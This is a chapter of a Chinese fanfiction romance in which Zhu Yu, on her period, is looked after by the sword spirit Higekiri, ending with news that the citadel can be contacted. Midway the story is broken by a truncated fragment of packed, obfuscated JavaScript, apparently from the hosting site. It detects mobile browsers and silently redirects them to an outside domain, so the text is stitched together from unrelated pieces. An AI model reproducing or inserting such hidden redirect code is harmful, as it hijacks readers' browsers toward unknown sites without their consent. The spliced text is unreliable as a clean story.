髭切额前的碎发被她拍得有些凌乱,他也没在意,只在碎发扎到眼睛的时候下意识地闭了下眼睛,看在祝虞眼中就是面前的付丧神被她骂了之后竟然莫名其妙地wink了一下。 祝虞:“……” 她心中非常有吐槽欲,比如说都什么时候了你家主我都要疼死了你怎么还在媚主之类的话。 但她真的要疼死了,语言系统遭受重伤,于是只向他伸了伸手,言简意赅:“医药箱。” 髭切把医药箱递给她。 卧室里窗帘紧紧拉着,只从缝隙中泄出微弱的光亮。 祝虞借着昏暗的光摸索着找到布洛芬,就着髭切刚刚帮她倒的热水仰头咽下去。 髭切看着她的动作,目光在她没什么血色的唇上浅浅停留,继而看了一眼她不自觉按在小腹上的手:“家主生病了吗?” 祝虞伸长手臂把空调调高几度,神色恹恹地说:“没有生病。” 又不是什么难以启齿的事情,更何况如果他们长期生活在一起,也一定能发现她每个月都要来这么一遭,祝虞干脆就简单向他解释了一下什么是人类女性的生理期。 说完这些,她眼神警告性地看了一眼蹲在床边的付丧神:“这几天老实点,不许忽然突发奇想,别折腾我。” 髭切无辜地看着她:“家主在说什么?” “也别装听不懂,”祝虞幽幽说。 髭切:“家主这几天要一直躺在床上吗?” 祝虞:“……” 你知道你这个话题转移得很生硬吗阿尼甲? 她叹了一口气:“不用。我一般只会疼两天,之后就没事了。” 好在现在是假期,她想躺就躺想摆烂就摆烂,不用在冰天雪地里顶着生理期的剧痛跨越半个校区去上课。 祝虞看了一眼手机,对髭切道:“你不是要去上课吗?怎么还不走?” 髭切看起来竟然有些遗憾:“诶……还要去上课啊。家主不需要照顾吗?” 他这幅样子让祝虞幻视上早八前躺在床上疯狂给自己找借口试图翘课的自己。 果然无论是人还是刀,能摸鱼摆烂的情况下都不会想上课。 因为太过熟悉,所以她忍住笑了一声,伸手去推他的肩膀,故作严肃说:“别找借口,快走啦,你要迟到了。” 付丧神被她轰出了卧室,没过一会儿她听到了家门打开又关上。这次似乎是为了证明“我走路和开门是有声音的”,所以动静比往常更大一些。 怎么在这种奇怪的地方这么较真啊。 祝虞不理解。 她躺在床上又玩了一会儿手机,感觉药效起作用、小腹没那么疼了才缓慢起身。 起床后第一件事是把弄脏的床单和衣服换下来清洗,刚刚弄上的痕迹很容易就能洗干净,但再放一段时间可就不一定了。 这都是祝虞的血泪教训。 她换好新床单,又吃了个早饭,再稍微学习一会儿,磨磨蹭蹭地就到了快中午的时间。 但髭切却还是没回来。 祝虞感到疑惑,正准备打个电话问他一下,张教练就先给她打了个电话过来。 她接电话前看见这个备注就心中一跳,满脑子都是“完了,该不会是髭切闯出什么人命关天的大事了吧”,接起电话时声音都在颤抖。 直到张教练茫然地“啊?”了一声,解释说他有个学生最近要去参加一个重要的比赛,想要让精通刀术的髭切帮忙看一看、稍微指导一下,会记代课费用走公账,问她可不可以。 不是通知她去捞人就好。 祝虞松了一口气,爽快应了下来,但还是提醒道:“他们日本人的语言表达风格和我们不太一样,髭切有时候说话可能比较奇怪,您不用在意,都是他瞎说的。” 她的本意是说髭切有时候会笑眯眯地说些可怕的话,提前打好预防针,防止不明真相的张教练真的把这个满嘴“斩鬼啊”、“砍下一条胳膊啊”的付丧神抓去局子。 到时候就算他没犯罪,人家一查身份证就会发现这是个黑户,那可就完蛋了。 但张教练显然又误会了什么。 他中气十足补充:“你放心,这个学生我很熟,是个单纯老实的小孩,绝对不会多问什么,髭切兄弟的身份绝对不会暴露。” “……”祝虞心想这离谱的热血少年番剧本都八百年过去了怎么还没被戳穿,但她懒得再过多解释了,干脆就嗯嗯啊啊地胡乱应了下来。 家里只有一个人,还没有人帮忙刷碗,祝虞腰酸背痛也懒得再自己做饭,干脆中午点了外卖。 她以为这个指导应该一两个小时就能结束,结果下午两点多的时候张教练又给她打了个电话,这次是说可能要多耽误一些时间,因为在髭切的指导下他觉得小孩打得狗屁不是,需要再钻研一下。 祝虞心想小孩的这个参考标准是不是有点太高了,但她毕竟不是人家的指导老师,问过髭切后对方表示家主说的都行,于是祝虞也就同意了。 张教练包了髭切的午饭和晚饭,祝虞依旧不想一个人做晚饭,只随便吃了点垫了垫肚子。 吃完饭,她坐在客厅里,忽然觉得有种不知道干什么的茫然。 家里是不是太安静了。 她打开电视,调出自己之前闲暇时在看的综艺。 电视屏幕上的艺人夸张地大笑,祝虞盯着他们嘴角的弧度,却觉得声音像是从很远的水底传来。 放了没一会儿,祝虞又觉得综艺节目的热闹反而让客厅显得更加空旷。 她按下静音键,感觉主持人和嘉宾们顿时变成了一群滑稽的哑剧演员,在无声中手舞足蹈。 祝虞抱着自己的腿坐在沙发中发呆。 人的习惯实在是一种很可怕的特性。 髭切其实也不是非常活泼话痨的付丧神,但他的存在感很强。即便是不说话、只是单纯地坐在那里祝虞的目光就会不自觉地被他吸引。 他的存在就像是藤蔓一样悄然生长,在她没有意识到的日常缝隙中悄然扎根,最终缓慢结成一张无形的网,成为理所应当的习惯。 她想着想着,不知是不是生理期的影响,慢慢觉得困倦。 电视屏幕的画面渐渐扭曲,下方鱼缸的轻微水声渐渐抽离,世界在她的眼中一点一点变暗。 于是等到髭切踩着夜色回到家时,看到的就是抱着靠枕、蜷缩在沙发上已经睡过去的家主。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268200|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他眨了一下眼睛。 这一次开门的声音没有让她惊醒。髭切无声无息地走过去,身体挡住头顶灯光,一部分的阴影笼罩住蜷缩在沙发上的少女。 她显然没意识到有人站在自己面前,额头抵着抱枕,蹭乱的发丝缠在脸颊边,眉头不自觉地轻轻皱着。 被她握在手中的手机一点一点滑落,眼见就要砸落地板的那刻被付丧神伸手一捞,猫一样敏捷无声地在半空中接住。 他垂眼看了一眼,被手指触碰唤醒的锁屏上是几条没点进去的消息——他发过去的消息她并没有看到。 他把手机放好,没有叫醒她,就这样安安静静地看着她发呆。 看着看着,不知是不是角度原因,他忽然发现少女散乱的领口与肌肤交界的地方,似乎有一点模糊的黑色印记。 像是阴影,也像是什么图案的线条,颜色很淡,蛰伏于锁骨下方、接近心脏的位置。 是什么呢……? 髭切发散思维想着,手指轻轻动了一下,有点跃跃欲试的想法。 在他思索间,祝虞似乎是在睡梦中感觉到什么,她皱了皱眉,身体更加蜷缩,松松搭在沙发边缘的手指无意识地收回,想要去按自己的肚子。 ……在痛吗? 最开始的思考被他轻巧地抛之脑后,髭切撑着脑袋想了想,索性替她伸手,盖住了她的小腹。 但这个动作让祝虞惊醒了。 她迷迷糊糊地睁开眼,看见的首先是一片浅金色的光晕,而后那道光晕移动了一下,又替她挡住了头顶更加刺目的光亮。 刚刚醒来的大脑混沌,祝虞甚至都没分清这是白天黑夜,以为他来叫自己吃早饭,于是带着刚睡醒的鼻音说:“你怎么又不敲门就进我的房间呀……” “嗯……抱歉?”髭切说。 祝虞在他的声音中渐渐回神,首先感受到的是自己小腹上不属于自己的轻微压迫感,稍凉的温度透过单薄睡衣压在肌肤上。 她低下头,发现对方正保持着半跪在沙发旁边的姿势,手掌隔着衣物贴在她的小腹上,有点笨拙地轻轻揉着。 祝虞不自在地向后缩了缩,躲开他的触碰,想说他逾矩了,可话到嘴边又变成了:“你的手太凉了。” 髭切像是才意识到这点一样慢吞吞地收回手,很快又把一杯温热的奶茶塞到她的手里:“这个是热的喔。” 祝虞终于清醒过来。 她从沙发上坐起来,拿着奶茶看了几眼,又迟疑地看向髭切:“你买的?” 髭切点头。 祝虞拿出手机划开,发现确实有一条半小时前完成的支付记录。 她看了看奶茶的名字,然后才戳开喝了一口,暖融融的味道化在嘴里。 她一边喝一边问道:“为什么想起来帮我买这个?” “听说人类女性生理期的时候应该喝点热的?”他回忆似地说道。 祝虞:“谁告诉你的?” 这样问道,但她心中其实有了答案。 果然下一刻,祝虞听到髭切尾音轻快上扬的声音:“张教练还有助教小姐说的。” 他指了一下祝虞拿在手里的烤黑糖波波牛乳茶:“助教小姐说家主喝这个会开心一点。” 祝虞咬着珍珠,心想那你买的挺对的,我的确是生理期时喝点高糖高热量的东西会比较高兴。 就是不知道髭切是怎么问的,该不会是直接说如果家主生理期肚子疼应该要怎么样吧? 她想了想,又自暴自弃放弃了思考。 算了,反正再不过就是她多了一个喜欢玩主仆play的男朋友,荒谬离谱的剧本都那么多了,还差这一个吗? 她喝着奶茶,又问了问他指导的那个小孩的事情,髭切都用他特有的说话方式回答了。 比如“是个很有活力的孩子”、“像刚长出乳牙的小狗,抱着竹刀摇摇晃晃的,很努力地想露出獠牙”、“但是一推就倒了哦?” 祝虞:“小孩子嘛,不要太苛求什么啦。” 髭切看了她一眼,似乎想再说什么,但却被一道急促的铃声打断了。 祝虞低头看自己的手机,髭切慢了半拍也看自己的手机——铃声并不是他们两人的手机发出的。 三秒钟过去,祝虞忽然恍然大悟地睁大眼睛,急匆匆地跑进卧室。 ——是时之政府的之前留下的通讯器。 这个时候,会有什么事? 怀揣着这个疑问,祝虞接通了通讯。 两分钟后,髭切看到祝虞神情恍惚地走出门。 他观察着她的表情:“像是有大事发生了呢,家主。” 祝虞一时没意识到是他在说话,隔了好半晌才恍惚着点头:“确实是大事……” 髭切轻轻挑起眉,听到她说: “——狐之助说可以和本丸通讯了。”